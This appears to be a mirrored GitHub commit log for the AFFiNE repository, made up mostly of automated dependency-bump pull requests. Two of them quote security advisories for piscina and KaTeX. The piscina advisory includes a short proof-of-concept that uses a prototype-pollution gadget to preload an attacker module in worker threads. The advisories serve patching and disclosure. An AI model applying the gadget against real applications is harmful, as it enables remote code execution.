mirror of
https://github.com/toeverything/AFFiNE.git
synced 2026-12-03 02:28:58 +03:00
2e84a86570ea22314abbbd27abebfeadf2d2eb66
11526
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
2e84a86570 |
chore: bump up RevenueCat/purchases-ios-spm version to from: "5.92.0" (#15459)
This PR contains the following updates: | Package | Update | Change | |---|---|---| | [RevenueCat/purchases-ios-spm](https://redirect.github.com/RevenueCat/purchases-ios-spm) | minor | `from: "5.83.0"` → `from: "5.92.0"` | --- ### Release Notes <details> <summary>RevenueCat/purchases-ios-spm (RevenueCat/purchases-ios-spm)</summary> ### [`v5.92.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.91.0...5.92.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.91.0...5.92.0) ### [`v5.91.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.90.2...5.91.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.90.2...5.91.0) ### [`v5.90.2`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.90.1...5.90.2) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.90.1...5.90.2) ### [`v5.90.1`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.90.0...5.90.1) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.90.0...5.90.1) ### [`v5.90.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.89.0...5.90.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.89.0...5.90.0) ### [`v5.89.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.88.0...5.89.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.88.0...5.89.0) ### [`v5.88.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.87.1...5.88.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.87.1...5.88.0) ### [`v5.87.1`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.87.0...5.87.1) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.87.0...5.87.1) ### [`v5.87.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.86.0...5.87.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.86.0...5.87.0) ### [`v5.86.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.85.0...5.86.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.85.0...5.86.0) ### [`v5.85.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.84.0...5.85.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.84.0...5.85.0) ### [`v5.84.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.83.2...5.84.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.83.2...5.84.0) ### [`v5.83.2`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.83.1...5.83.2) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.83.1...5.83.2) ### [`v5.83.1`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.83.0...5.83.1) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.83.0...5.83.1) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMi4wIiwidXBkYXRlZEluVmVyIjoiNDQuMTM0LjEiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
65abc46a66 |
fix(server): blob read cache (#15693)
<!-- Thank you for contributing to AFFiNE! The PR title must follow Conventional Commits (enforced by CI): type(scope): description e.g. fix(editor): keep selection after paste Types: feat fix docs style refactor perf test build ci chore revert --> ## Description <!-- What does this PR do? Link related issues, e.g. "Closes #1234". Screenshots or recordings are welcome for UI changes. --> ## Checklist - [ ] I have signed the [AFFiNE Contributor License Agreement](https://cla-assistant.io/toeverything/AFFiNE) — required before merge; the `license/cla` check must be green ([how it works](https://github.com/toeverything/AFFiNE/blob/canary/docs/BUILDING.md#sign-the-cla-first)) - [ ] The PR targets the `canary` branch and its title follows [Conventional Commits](https://www.conventionalcommits.org/) - [ ] Tests are added or updated where it makes sense - [ ] `yarn lint` and `yarn typecheck` pass locally - [ ] If the PR code includes AI-generated edits, I have carefully reviewed it to ensure that the scope of the PR is consistent with what is claimed in the title and description, and that there are no redundant or invalid implementations. - [ ] I agree that maintainers may close the PR without discussion if they consider the code quality to be too low. #### PR Dependency Tree * **PR #15693** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Improved quota information refreshes across server roles and after configuration reloads. Plan details, member counts, and storage usage now reflect recent account changes more reliably. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
bf473eeb6c |
chore: bump up Recouse/EventSource version to from: "0.1.9" (#15686)
This PR contains the following updates: | Package | Update | Change | |---|---|---| | [Recouse/EventSource](https://redirect.github.com/Recouse/EventSource) | patch | `from: "0.1.8"` → `from: "0.1.9"` | --- ### Release Notes <details> <summary>Recouse/EventSource (Recouse/EventSource)</summary> ### [`v0.1.9`](https://redirect.github.com/Recouse/EventSource/releases/tag/0.1.9) [Compare Source](https://redirect.github.com/Recouse/EventSource/compare/0.1.8...0.1.9) #### What's Changed - fix: add explicit default auth challenge handling to SessionDelegate by [@​liefran-sim](https://redirect.github.com/liefran-sim) in [#​51](https://redirect.github.com/Recouse/EventSource/pull/51) - Fix watchOS build failure on Xcode 27 by [@​maximbilan](https://redirect.github.com/maximbilan) in [#​52](https://redirect.github.com/Recouse/EventSource/pull/52) **Full Changelog**: <https://github.com/Recouse/EventSource/compare/0.1.8...0.1.9> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMzQuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEzNC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>v2026.10.9-canary.912 |
||
|
|
2d4f191e67 |
chore: bump up Node.js to v22.23.3 (#15683)
This PR contains the following updates: | Package | Update | Change | |---|---|---| | [node](https://nodejs.org) ([source](https://redirect.github.com/nodejs/node)) | patch | `22.23.2` → `22.23.3` | --- ### Release Notes <details> <summary>nodejs/node (node)</summary> ### [`v22.23.3`](https://redirect.github.com/nodejs/node/releases/tag/v22.23.3): 2026-09-23, Version 22.23.3 'Jod' (LTS), @​aduh95 prepared by @​juanarbol [Compare Source](https://redirect.github.com/nodejs/node/compare/v22.23.2...v22.23.3) ##### Notable Changes - \[[`fe2a6b2be8`](https://redirect.github.com/nodejs/node/commit/fe2a6b2be8)] - **crypto**: update root certificates to NSS 3.125 (Node.js GitHub Bot) [#​64746](https://redirect.github.com/nodejs/node/pull/64746) - \[[`871167ddfd`](https://redirect.github.com/nodejs/node/commit/871167ddfd)] - **deps**: update corepack to 0.36.0 (Node.js GitHub Bot) [#​65653](https://redirect.github.com/nodejs/node/pull/65653) - \[[`b816fc8958`](https://redirect.github.com/nodejs/node/commit/b816fc8958)] - **deps**: upgrade npm to 10.9.9 (npm team) [#​64884](https://redirect.github.com/nodejs/node/pull/64884) - \[[`e306521444`](https://redirect.github.com/nodejs/node/commit/e306521444)] - **deps**: update icu to 78.3 (Node.js GitHub Bot) [#​62324](https://redirect.github.com/nodejs/node/pull/62324) - \[[`a9cb31129f`](https://redirect.github.com/nodejs/node/commit/a9cb31129f)] - **deps**: update OpenSSL 3.5.8 (Node.js GitHub Bot) [#​65542](https://redirect.github.com/nodejs/node/pull/65542) - \[[`2a3548e51c`](https://redirect.github.com/nodejs/node/commit/2a3548e51c)] - **deps**: update Undici to 6.28.1 (mcollina) [#​65790](https://redirect.github.com/nodejs/node/pull/65790) - \[[`3909ff2c4a`](https://redirect.github.com/nodejs/node/commit/3909ff2c4a)] - **node-api**: support `SharedArrayBuffer` in `napi_create_typedarray` (Yilong Li) [#​62710](https://redirect.github.com/nodejs/node/pull/62710) - \[[`66de6349ad`](https://redirect.github.com/nodejs/node/commit/66de6349ad)] - **node-api**: add `napi_create_external_sharedarraybuffer` (Ben Noordhuis) [#​62623](https://redirect.github.com/nodejs/node/pull/62623) ##### Commits - \[[`44cf27b8fa`](https://redirect.github.com/nodejs/node/commit/44cf27b8fa)] - **build**: update binary-upload to use correct tarball name (Stewart X Addison) [#​65282](https://redirect.github.com/nodejs/node/pull/65282) - \[[`fe2a6b2be8`](https://redirect.github.com/nodejs/node/commit/fe2a6b2be8)] - **crypto**: update root certificates to NSS 3.125 (Node.js GitHub Bot) [#​64746](https://redirect.github.com/nodejs/node/pull/64746) - \[[`71feba6b69`](https://redirect.github.com/nodejs/node/commit/71feba6b69)] - **crypto**: update root certificates to NSS 3.123.1 (Node.js GitHub Bot) [#​63527](https://redirect.github.com/nodejs/node/pull/63527) - \[[`871167ddfd`](https://redirect.github.com/nodejs/node/commit/871167ddfd)] - **deps**: update corepack to 0.36.0 (Node.js GitHub Bot) [#​65653](https://redirect.github.com/nodejs/node/pull/65653) - \[[`2a3548e51c`](https://redirect.github.com/nodejs/node/commit/2a3548e51c)] - **deps**: update undici to 6.28.1 (mcollina) [#​65790](https://redirect.github.com/nodejs/node/pull/65790) - \[[`59d853a4df`](https://redirect.github.com/nodejs/node/commit/59d853a4df)] - **deps**: update archs files for openssl-3.5.8 (Node.js GitHub Bot) [#​65542](https://redirect.github.com/nodejs/node/pull/65542) - \[[`a9cb31129f`](https://redirect.github.com/nodejs/node/commit/a9cb31129f)] - **deps**: upgrade openssl sources to openssl-3.5.8 (Node.js GitHub Bot) [#​65542](https://redirect.github.com/nodejs/node/pull/65542) - \[[`3376e27de2`](https://redirect.github.com/nodejs/node/commit/3376e27de2)] - **deps**: V8: cherry-pick [`a6eaf75`](https://redirect.github.com/nodejs/node/commit/a6eaf7574109) (Camillo Bruni) [#​65402](https://redirect.github.com/nodejs/node/pull/65402) - \[[`b816fc8958`](https://redirect.github.com/nodejs/node/commit/b816fc8958)] - **deps**: upgrade npm to 10.9.9 (npm team) [#​64884](https://redirect.github.com/nodejs/node/pull/64884) - \[[`4e4bd1b104`](https://redirect.github.com/nodejs/node/commit/4e4bd1b104)] - **deps**: update timezone to 2026c (Node.js GitHub Bot) [#​64588](https://redirect.github.com/nodejs/node/pull/64588) - \[[`7d82841b4e`](https://redirect.github.com/nodejs/node/commit/7d82841b4e)] - **deps**: update c-ares to 1.34.8 (Node.js GitHub Bot) [#​64330](https://redirect.github.com/nodejs/node/pull/64330) - \[[`01855a19d3`](https://redirect.github.com/nodejs/node/commit/01855a19d3)] - **deps**: c-ares: cherry-pick [`8ba37af`](https://redirect.github.com/nodejs/node/commit/8ba37af8e3fb) (René) [#​64110](https://redirect.github.com/nodejs/node/pull/64110) - \[[`23fb398c3d`](https://redirect.github.com/nodejs/node/commit/23fb398c3d)] - **deps**: update corepack to 0.35.0 (Node.js GitHub Bot) [#​63375](https://redirect.github.com/nodejs/node/pull/63375) - \[[`5286330365`](https://redirect.github.com/nodejs/node/commit/5286330365)] - **deps**: update corepack to 0.34.7 (Node.js GitHub Bot) [#​62810](https://redirect.github.com/nodejs/node/pull/62810) - \[[`6d6c3c98b1`](https://redirect.github.com/nodejs/node/commit/6d6c3c98b1)] - **deps**: update timezone to 2026b (Node.js GitHub Bot) [#​62962](https://redirect.github.com/nodejs/node/pull/62962) - \[[`e306521444`](https://redirect.github.com/nodejs/node/commit/e306521444)] - **deps**: update icu to 78.3 (Node.js GitHub Bot) [#​62324](https://redirect.github.com/nodejs/node/pull/62324) - \[[`d9cb8468a3`](https://redirect.github.com/nodejs/node/commit/d9cb8468a3)] - **doc**: clarify `filter` option of `sqlite.database.applyChangeset` (Antoine du Hamel) [#​63515](https://redirect.github.com/nodejs/node/pull/63515) - \[[`c9c5662d91`](https://redirect.github.com/nodejs/node/commit/c9c5662d91)] - **doc**: add sxa GPG key ([`ed25519`](https://redirect.github.com/nodejs/node/commit/ed25519)) (Stewart X Addison) [#​64193](https://redirect.github.com/nodejs/node/pull/64193) - \[[`37f21068c4`](https://redirect.github.com/nodejs/node/commit/37f21068c4)] - **fs**: restore fs patchability in ESM loader (Joyee Cheung) [#​62835](https://redirect.github.com/nodejs/node/pull/62835) - \[[`7c2df5dd96`](https://redirect.github.com/nodejs/node/commit/7c2df5dd96)] - **http2**: avoid uaf while receiving and sending rst_stream (esgor) [#​64166](https://redirect.github.com/nodejs/node/pull/64166) - \[[`3909ff2c4a`](https://redirect.github.com/nodejs/node/commit/3909ff2c4a)] - **node-api**: support SharedArrayBuffer in napi_create_typedarray (Yilong Li) [#​62710](https://redirect.github.com/nodejs/node/pull/62710) - \[[`66de6349ad`](https://redirect.github.com/nodejs/node/commit/66de6349ad)] - **node-api**: add napi_create_external_sharedarraybuffer (Ben Noordhuis) [#​62623](https://redirect.github.com/nodejs/node/pull/62623) - \[[`ce9139107f`](https://redirect.github.com/nodejs/node/commit/ce9139107f)] - **src**: escape Windows environment variables in task runner (Antoine du Hamel) [#​65217](https://redirect.github.com/nodejs/node/pull/65217) - \[[`839480a471`](https://redirect.github.com/nodejs/node/commit/839480a471)] - **test**: fix link-local dgram scope assertion (Filip Skokan) [#​65629](https://redirect.github.com/nodejs/node/pull/65629) - \[[`40eac4a32f`](https://redirect.github.com/nodejs/node/commit/40eac4a32f)] - **test**: account for varied OpenSSL CCM final behaviours (Filip Skokan) [#​65542](https://redirect.github.com/nodejs/node/pull/65542) - \[[`75098a9e8c`](https://redirect.github.com/nodejs/node/commit/75098a9e8c)] - **tools**: update gr2m/create-or-update-pull-request-action to v1.10.1 (Mike McCready) [#​63065](https://redirect.github.com/nodejs/node/pull/63065) - \[[`08b6ac0416`](https://redirect.github.com/nodejs/node/commit/08b6ac0416)] - **tools**: revert OpenSSL update workflow to ubuntu-latest (Richard Lau) [#​62627](https://redirect.github.com/nodejs/node/pull/62627) - \[[`02cafc479f`](https://redirect.github.com/nodejs/node/commit/02cafc479f)] - **tools**: fix commit linter for semver-major release proposals (Antoine du Hamel) [#​62993](https://redirect.github.com/nodejs/node/pull/62993) - \[[`6f6cd3768d`](https://redirect.github.com/nodejs/node/commit/6f6cd3768d)] - **tools**: sync mk-ca-bundle.pl with curl (Archkon) [#​64753](https://redirect.github.com/nodejs/node/pull/64753) - \[[`bc5753d438`](https://redirect.github.com/nodejs/node/commit/bc5753d438)] - **tools**: remove `envinfo` from our workflows (Antoine du Hamel) [#​64259](https://redirect.github.com/nodejs/node/pull/64259) - \[[`d68ee9f8a5`](https://redirect.github.com/nodejs/node/commit/d68ee9f8a5)] - **tools**: validate version number in release proposal commit message lint (Antoine du Hamel) [#​64070](https://redirect.github.com/nodejs/node/pull/64070) - \[[`38ee2e895f`](https://redirect.github.com/nodejs/node/commit/38ee2e895f)] - **tools**: avoid test/fixtures/wpt/README.md conflicts (Filip Skokan) [#​63938](https://redirect.github.com/nodejs/node/pull/63938) - \[[`fdc65e489f`](https://redirect.github.com/nodejs/node/commit/fdc65e489f)] - **tools**: use different branch for tool updates on staging branches (Antoine du Hamel) [#​63110](https://redirect.github.com/nodejs/node/pull/63110) - \[[`e5a6fde002`](https://redirect.github.com/nodejs/node/commit/e5a6fde002)] - **tools**: update gyp-next to 0.22.1 (Node.js GitHub Bot) [#​62961](https://redirect.github.com/nodejs/node/pull/62961) - \[[`5fbbad6e82`](https://redirect.github.com/nodejs/node/commit/5fbbad6e82)] - **url**: handle unparsable serialized URLs in setters (Matteo Collina) [#​64651](https://redirect.github.com/nodejs/node/pull/64651) - \[[`ed019e4854`](https://redirect.github.com/nodejs/node/commit/ed019e4854)] - **util**: preserve function names without source map names (Hiroki Osame) [#​65108](https://redirect.github.com/nodejs/node/pull/65108) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMzQuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEzNC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>v2026.10.8-canary.912 |
||
|
|
6bb64575b1 |
chore: bump up piscina version to v5.3.2 [SECURITY] (#15681)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [piscina](https://redirect.github.com/piscinajs/piscina) | [`5.2.0` → `5.3.2`](https://renovatebot.com/diffs/npm/piscina/5.2.0/5.3.2) |  |  | --- ### piscina: Prototype-pollution gadget in ThreadPool.options allows RCE via execArgv / loadBalancer / env [CVE-2026-102992](https://nvd.nist.gov/vuln/detail/CVE-2026-102992) / [GHSA-67c8-pqhq-4rmx](https://redirect.github.com/advisories/GHSA-67c8-pqhq-4rmx) <details> <summary>More information</summary> #### Details ##### Summary A prototype-pollution gadget in `ThreadPool.options` allows an attacker who can pollute `Object.prototype` to execute arbitrary code in Piscina worker threads, invoke arbitrary functions during task scheduling, or inject environment variables into workers. The root cause is that `ThreadPool.options` is created as a plain object inheriting from `Object.prototype`, so any option without an explicit default in `kDefaultOptions` can be supplied via the prototype chain. ##### Details In `src/index.ts` the `ThreadPool` constructor builds the resolved options object as a plain object: ```ts this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 } ``` Because this object has `Object.prototype` as its prototype, reads for properties that are not own properties of the object and are not present in `kDefaultOptions` fall back to `Object.prototype`. This means a prototype-pollution primitive (e.g. from a vulnerable `merge()` or `JSON.parse` merge elsewhere in the application) can inject values for `execArgv`, `env`, `loadBalancer`, `argv`, `workerData`, `resourceLimits`, `niceIncrement`, `closeTimeout`, `recordTiming`, `stricterFIFO`, `workerHistogram`, and `trackUnmanagedFds`. The most serious gadget is `execArgv`, which is passed directly to `new Worker(..., { execArgv })`. An attacker can set `Object.prototype.execArgv = ['--require', '/tmp/attacker.js']`, causing every worker to preload and execute the attacker-controlled module on startup. This issue survived the fix for **GHSA-x9g3-xrwr-cwfg / CVE-2026-55388** ("Prototype Pollution Gadget → RCE via inherited options.filename"). That advisory hardened the `Piscina` constructor's `filename` read and `run()`'s `filename`/`name` reads, but `ThreadPool.options` itself was not created with a null prototype. The same class of attack is therefore still possible against any option without an explicit default in `kDefaultOptions`. ##### PoC ```js import { resolve } from 'node:path' import Piscina from 'piscina' Object.prototype.execArgv = ['--require', '/tmp/attacker.js'] const pool = new Piscina({ filename: resolve(import.meta.dirname, 'worker.js'), minThreads: 1, maxThreads: 1, }) await pool.run(1) ``` `/tmp/attacker.js` is executed in the worker on startup. A full reproduction repository with `execArgv`, `loadBalancer`, and `env` vectors is available at https://github.com/Fcmam5/piscina-pp-poc. ##### Impact - **Remote Code Execution**: via `execArgv` (arbitrary `--require` module preloaded in every worker on spawn). - **Arbitrary code execution in the main thread**: via `loadBalancer`, an attacker-supplied function that is called during task scheduling. - **Environment/CLI option injection**: via `env`, which is passed to each worker constructor. - **Denial of Service / unexpected behavior**: via other reachable options such as `workerData`, `resourceLimits`, `niceIncrement`, `closeTimeout`, `recordTiming`, etc. Anyone using Piscina in an application where `Object.prototype` can be polluted (e.g. through a dependency with a prototype-pollution vulnerability) is impacted. #### Severity - CVSS Score: 9.2 / 10 (Critical) - Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/piscinajs/piscina/security/advisories/GHSA-67c8-pqhq-4rmx](https://redirect.github.com/piscinajs/piscina/security/advisories/GHSA-67c8-pqhq-4rmx) - [https://nvd.nist.gov/vuln/detail/CVE-2026-102992](https://nvd.nist.gov/vuln/detail/CVE-2026-102992) - [https://github.com/piscinajs/piscina/commit/0cb12fca37f526065b072592afe954574dcc656f](https://redirect.github.com/piscinajs/piscina/commit/0cb12fca37f526065b072592afe954574dcc656f) - [https://github.com/piscinajs/piscina/commit/2f69f67159a0e48b38fd61fa4a91c2fdc19fff72](https://redirect.github.com/piscinajs/piscina/commit/2f69f67159a0e48b38fd61fa4a91c2fdc19fff72) - [https://github.com/piscinajs/piscina/commit/5be7bbb19e3787bb698862cd516121a578d690f7](https://redirect.github.com/piscinajs/piscina/commit/5be7bbb19e3787bb698862cd516121a578d690f7) - [https://github.com/piscinajs/piscina/commit/bebbda255c2981cecddd36b171b94be2fd41c9a6](https://redirect.github.com/piscinajs/piscina/commit/bebbda255c2981cecddd36b171b94be2fd41c9a6) - [https://github.com/piscinajs/piscina/releases/tag/v4.9.4](https://redirect.github.com/piscinajs/piscina/releases/tag/v4.9.4) - [https://github.com/piscinajs/piscina/releases/tag/v5.3.2](https://redirect.github.com/piscinajs/piscina/releases/tag/v5.3.2) - [https://github.com/piscinajs/piscina/releases/tag/v6.0.0-rc.5](https://redirect.github.com/piscinajs/piscina/releases/tag/v6.0.0-rc.5) - [https://github.com/advisories/GHSA-67c8-pqhq-4rmx](https://redirect.github.com/advisories/GHSA-67c8-pqhq-4rmx) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-67c8-pqhq-4rmx) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>piscinajs/piscina (piscina)</summary> ### [`v5.3.2`](https://redirect.github.com/piscinajs/piscina/releases/tag/v5.3.2) [Compare Source](https://redirect.github.com/piscinajs/piscina/compare/v5.3.1...v5.3.2) **Full Changelog**: <https://github.com/piscinajs/piscina/compare/v5.3.1...v5.3.2> ### [`v5.3.1`](https://redirect.github.com/piscinajs/piscina/releases/tag/v5.3.1) [Compare Source](https://redirect.github.com/piscinajs/piscina/compare/v5.3.0...v5.3.1) #### What's Changed - docs: renew TestMu AI sponsor by [@​github-actions](https://redirect.github.com/github-actions)\[bot] in [#​1137](https://redirect.github.com/piscinajs/piscina/pull/1137) **Full Changelog**: <https://github.com/piscinajs/piscina/compare/v5.3.0...v5.3.1> ### [`v5.3.0`](https://redirect.github.com/piscinajs/piscina/releases/tag/v5.3.0) [Compare Source](https://redirect.github.com/piscinajs/piscina/compare/v5.2.0...v5.3.0) #### What's Changed - chore(deps): Bump shell-quote from 1.8.3 to 1.8.4 in /docs in the npm_and_yarn group across 1 directory by [@​github-actions](https://redirect.github.com/github-actions)\[bot] in [#​1075](https://redirect.github.com/piscinajs/piscina/pull/1075) - chore(deps): Bump the npm_and_yarn group across 1 directory with 2 updates by [@​github-actions](https://redirect.github.com/github-actions)\[bot] in [#​1081](https://redirect.github.com/piscinajs/piscina/pull/1081) - chore: update sponsors by [@​github-actions](https://redirect.github.com/github-actions)\[bot] in [#​1084](https://redirect.github.com/piscinajs/piscina/pull/1084) - \[Backport v5] chore: Enhance SECURITY.md with detailed security policy by [@​github-actions](https://redirect.github.com/github-actions)\[bot] in [#​1092](https://redirect.github.com/piscinajs/piscina/pull/1092) - chore(deps): Bump websocket-driver from 0.7.4 to 0.7.5 in /docs in the npm_and_yarn group across 1 directory by [@​github-actions](https://redirect.github.com/github-actions)\[bot] in [#​1110](https://redirect.github.com/piscinajs/piscina/pull/1110) - feat: add stricterFIFO option for queue fairness ([#​1100](https://redirect.github.com/piscinajs/piscina/issues/1100)) by [@​metcoder95](https://redirect.github.com/metcoder95) in [#​1113](https://redirect.github.com/piscinajs/piscina/pull/1113) **Full Changelog**: <https://github.com/piscinajs/piscina/compare/v5.2.0...v5.3.0> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMzQuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEzNC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>v2026.10.7-canary.910 |
||
|
|
1c90d02b0c |
chore: bump up katex version to ^0.18.0 [SECURITY] (#15680)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [katex](https://katex.org) ([source](https://redirect.github.com/KaTeX/KaTeX)) | [`^0.16.27` → `^0.18.0`](https://renovatebot.com/diffs/npm/katex/0.16.47/0.18.2) |  |  | --- ### KaTeX: Existing prototype pollution can bypass trust restrictions [CVE-2026-103923](https://nvd.nist.gov/vuln/detail/CVE-2026-103923) / [GHSA-238p-pmpm-9mq7](https://redirect.github.com/advisories/GHSA-238p-pmpm-9mq7) <details> <summary>More information</summary> #### Details ##### Impact KaTeX can act as a read-side prototype pollution gadget in applications where `Object.prototype` has already been polluted, or where an attacker can influence the prototype of the renderer options object. (KaTeX does not enable said prototype pollution. This advisory applies when combining KaTeX with other vulnerable software that allows for prototype pollution.) Affected versions may treat inherited properties from `Object.prototype` as renderer options, internal setting metadata, or namespace entries. In particular, an inherited `trust` value will be treated as though the application explicitly enabled trusted rendering, rather than using the documented default of `false`. With attacker-controlled mathematical expressions, this can produce links capable of user-interaction cross-site scripting or load attacker-selected external resources. Exploitation requires the consuming application to insert KaTeX output into a web page without a separate sanitizer. (KaTeX does not execute scripts merely by rendering an expression.) Other inherited settings can alter rendering behavior or resource limits. Inherited setting metadata can affect how defaults and supplied options are processed, while inherited namespace properties can be mistaken for defined macros or other internal values. ##### Patches Upgrade to KaTeX v0.18.2 to remove this vulnerability. ##### Workarounds - Address any prototype-pollution vulnerability in the application or its dependencies. - `delete Object.prototype.trust`, `delete Object.prototype.default`, and `delete Object.prototype.processor` before calling KaTeX - Do not allow untrusted input to control the renderer options object or its prototype. - Sanitize KaTeX-generated HTML before inserting it into a document. ##### Details KaTeX previously used ordinary JavaScript property access in the following contexts: - Renderer settings could be inherited from the prototype of the options object. - Internal `default` and `processor` setting metadata could be inherited from `Object.prototype`. - Namespace lookup could treat inherited properties as built-in definitions. - Namespace group restoration could preserve an inherited property as though it had been an explicitly defined value. The fix adds own-property checks to each of these paths. Inherited properties are no longer accepted as renderer settings, setting metadata, namespace definitions, or values to be restored after a group ends. ##### For more information If you have any questions or comments about this advisory: - Open an issue or security advisory in the [KaTeX repository](https://redirect.github.com/KaTeX/KaTeX/) - Email us at [katex-security@mit.edu](mailto:katex-security@mit.edu) #### Severity - CVSS Score: 2.1 / 10 (Low) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N` #### References - [https://github.com/KaTeX/KaTeX/security/advisories/GHSA-238p-pmpm-9mq7](https://redirect.github.com/KaTeX/KaTeX/security/advisories/GHSA-238p-pmpm-9mq7) - [https://nvd.nist.gov/vuln/detail/CVE-2026-103923](https://nvd.nist.gov/vuln/detail/CVE-2026-103923) - [https://github.com/KaTeX/KaTeX/pull/4260](https://redirect.github.com/KaTeX/KaTeX/pull/4260) - 